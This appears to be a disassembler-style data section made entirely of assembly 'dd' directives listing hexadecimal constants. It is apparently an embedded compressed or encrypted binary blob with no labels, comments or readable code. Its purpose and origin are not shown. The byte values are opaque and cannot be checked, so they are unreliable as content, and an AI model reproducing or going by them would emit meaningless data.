		dd 13760075h, 0C655F378h, 4600FC32h, 8316A008h,	0FE7A23h
		dd 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch, 7FDC5D3Fh
		dd 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h,	0FBC5FA00h
		dd 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h,	25F80F47h
		dd 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h, 0D5C6301Eh
		dd 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h, 148D0A00h
		dd 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h,	489C5A59h
		dd 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h, 14095C1h
		dd 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h, 4D2E4C9Bh
		dd 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h, 3AEB1B87h
		dd 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch
		dd 73C3921h, 8283090Ch,	84EF0017h, 1CCD1D33h, 0AE2E4BB3h
		dd 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh,	0EB210307h
		dd 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h, 591913CAh
		dd 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh,	0C7A5FB80h
		dd 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh,	521D7C3Bh
		dd 0D8400712h, 5FE82606h, 297B0099h, 4470119h, 9D030320h
		dd 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh, 117A842Dh
		dd 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh, 4D3E7D82h
		dd 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh, 6B00E809h
		dd 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch
		dd 8DCC5EF0h, 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h
		dd 8E90A23Bh, 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h
		dd 87B75D2h, 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h
		dd 0D4E19B80h, 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch
		dd 19920B7Bh, 7F1F31D7h, 0EBC38E43h, 90281F42h,	79F4BB74h
		dd 16630026h, 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h
		dd 907889Ah, 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h
		dd 0FD8498C7h, 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h
		dd 0F30A024Bh, 4432CEEEh, 4C515160h, 3E66F51Dh,	0B0C0BC1Dh
		dd 5658B61h, 0D33C0074h, 92D60317h, 0EB004D32h,	41F211C1h
		dd 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
		dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
		dd 0C584B883h, 5ABC3Eh,	0C031B244h, 154C966h
		dd 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h,	6905489h
		dd 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h,	602F7413h
		dd 2A7829h, 0F8A5F33Fh,	3E1831Dh, 18A4D207h, 0E177431h
		dd 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h
		dd 728143FCh, 4C4000Ch,	5086092Fh, 0EB391290h, 8A0FFF01h
		dd 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh
		dd 0C50558h, 34E6EB02h,	4FE255Fh, 1B1CC7FAh, 88508043h
		dd 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h
		dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h,	42B700F5h
		dd 14D66A27h, 800EE25h,	0C2F81CCBh, 788977h, 681E34E0h
		dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh
		dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h
		dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh
		dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh
		dd 40401E9Ch, 1F4558Bh,	0F60169D0h, 178A38E8h, 0E0DE1964h
		dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h
		dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h,	33285CDFh
		dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h
		dd 0D0009816h, 381272h,	0E7F77C8h, 88AAD160h, 1470700h
		dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h
		dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h
		dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h
		dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh
		dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h
		dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h
		dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h,	0CF3FDA3h
		dd 80FAB93Dh, 21D64EBh,	903119h, 0CD88BB51h, 10E08650h
		dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h,	24405FAAh
		dd 0F156900h, 8840541h,	89B202C7h, 0E2F70BA2h, 0B04C3AE0h
		dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h
		dd 190DB00h, 96F1F728h,	0F8300048h, 0C7431C17h,	8003BE03h
		dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h
		dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah,	8AD20F20h
		dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h
		dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh
		dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh,	2B0A69ECh
		dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h
		dd 26844FE1h, 623CC4Ah,	4EB2000h, 0EE347F0Dh, 24C02630h
		dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h,	1340555h
		dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h
		dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh
		dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh
		dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h
		dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh
		dd 0FE288840h, 7512C9h,	3C1E5AF2h, 6C430253h, 7301FA00h
		dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h,	195A8C68h
		dd 0FE570926h, 0EB84Ah,	0FF1250A9h, 0D32BF03h, 1B48AC04h
		dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h
		dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh
		dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah
		dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h
		dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh
		dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh
		dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h
		dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h
		dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch
		dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h,	4F53003Ch
		dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh
		dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh
		dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh
		dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h
		dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h,	77BBC36h
		dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h
		dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h,	3C0C141Ch
		dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah
		dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh
		dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah
		dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh
		dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh,	3EA6734Ch
		dd 6BE00F6h, 0C827B2Ch,	207F3834h, 75493700h, 0A8E3453Bh
		dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h,	4BC3F300h
		dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h
		dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h
		dd 35CF0C8h, 96F7FC47h,	44C0B891h, 1126D480h, 2401303Ch
		dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh,	67E8E740h
		dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh,	0E802F061h
		dd 53515200h, 818FF689h, 0F4500084h, 1058E012h,	6E7E6463h
		dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh,	0A0002FBh
		dd 405A595Bh, 91E3FF0h,	2C45FC9Eh, 90C1300h, 22000E74h
		dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h
		dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh
		dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h
		dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h
		dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h
		dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h
		dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h,	75EB0A02h
		dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h
		dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h
		dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h,	0D31C4148h
		dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h,	400EDE38h
		dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh
		dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h
		dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh,	76808B08h
		dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h
		dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h
		dd 50154061h, 828C638h,	59EFFE00h, 74F1513Dh, 48E0006Fh
		dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h
		dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
		dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
		dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
		dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
		dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah,	9E62B9h
		dd 2C444D42h, 2189084Eh
		dd 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h, 0EF16439Eh
		dd 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h, 64176775h
		dd 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h, 0C48C74CEh
		dd 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h, 0A161A486h
		dd 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch, 2BEE5923h
		dd 449E21A0h, 27482214h, 6CF11E42h, 0F238689h, 56986136h
		dd 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h,	93E8EC53h
		dd 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch, 42C78F54h
		dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h
		dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h
		dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh
		dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h,	9200A4B5h
		dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h
		dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h
		dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h
		dd 0C2BE02h, 4AB80C52h,	3F1FFC5h, 3854491Ch, 86E97282h
		dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h,	57221509h
		dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h
		dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah
		dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h
		dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch
		dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h
		dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh
		dd 6C01E3E8h, 400C25Dh,	0F3942467h, 402993h, 2690F1FAh
		dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h
		dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h,	0BCFB82h
		dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh
		dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah,	124F60F0h
		dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h,	0A005F8F5h
		dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch
		dd 7F9836Eh, 39A174FFh,	9DF5F001h, 0A4008922h, 68A2E984h
		dd 0D49CBFh, 3E434B93h,	57E148C2h, 70E80C00h, 0E9A79504h
		dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h
		dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h
		dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh
		dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h
		dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh
		dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h
		dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h,	0DF5C44Dh
		dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h
		dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h,	0FF03E990h
		dd 2F967100h, 2836156h,	417E1D05h, 3D2580EEh, 7594C81Ch
		dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h
		dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h
		dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h
		dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h
		dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h
		dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h
		dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h
		dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h,	73870015h
		dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh,	1806BEh
		dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h
		dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh,	47743E40h
		dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h
		dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h,	6ECF7013h
		dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h
		dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h
		dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh,	587404CCh
		dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h
		dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h
		dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh,	73036EA0h
		dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h
		dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh
		dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h,	5138C2C7h
		dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h
		dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h
		dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h
		dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh
		dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah
		dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh
		dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h
		dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h
		dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h
		dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh
		dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h
		dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h
		dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h
		dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch,	41151268h
		dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h,	0E03E60Bh
		dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h,	2712E5E4h
		dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh
		dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h
		dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h
		dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h
		dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh
		dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh,	391EFA01h
		dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h
		dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h,	213BA044h
		dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h
		dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h
		dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h
		dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h
		dd 0A650528Dh, 8BED40h,	104F944Ch, 41112FD7h, 714AFC00h
		dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h,	5501D834h
		dd 0D054CEh, 7E2AE975h,	0ACC8EF82h, 5AC44A00h, 248D5801h
		dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h,	3EA5CB29h
		dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch,	5213C201h
		dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h,	4003A310h
		dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
		dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
		dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
		dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
		dd 8001DB44h, 0FB3AF9B8h
		dd 2822C77h, 0FA34A86h,	390225D0h, 13A424DBh, 9D4AC190h
		dd 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h,	0FC58252Dh
		dd 70261BC0h, 27C754Ah,	1F7DDA39h, 5068D329h, 9E000519h
		dd 0F416117Fh, 6394C9h,	313A7D25h, 89E50AD2h, 2A93D900h
		dd 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h,	0FC304086h
		dd 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h
		dd 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h
		dd 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h,	8334F1FCh
		dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h
		dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h
		dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h,	23AFC2FCh
		dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h
		dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h,	949B0C60h
		dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h
		dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h
		dd 593D4080h, 0DA8906h,	1347E95Bh, 9C36C34Ah, 83A8B83Fh
		dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh
		dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h
		dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h
		dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h
		dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h
		dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h
		dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch
		dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch
		dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h,	0F7B400Eh
		dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah
		dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h,	30071A91h
		dd 1DCC2C58h, 1A86A58h,	0D4612D44h, 10F0BB28h, 433E4C0h
		dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh,	0CB5C03h
		dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh
		dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h,	0F243846h
		dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah
		dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h
		dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh,	554F409Ch
		dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h
		dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h
		dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h
		dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h
		dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h
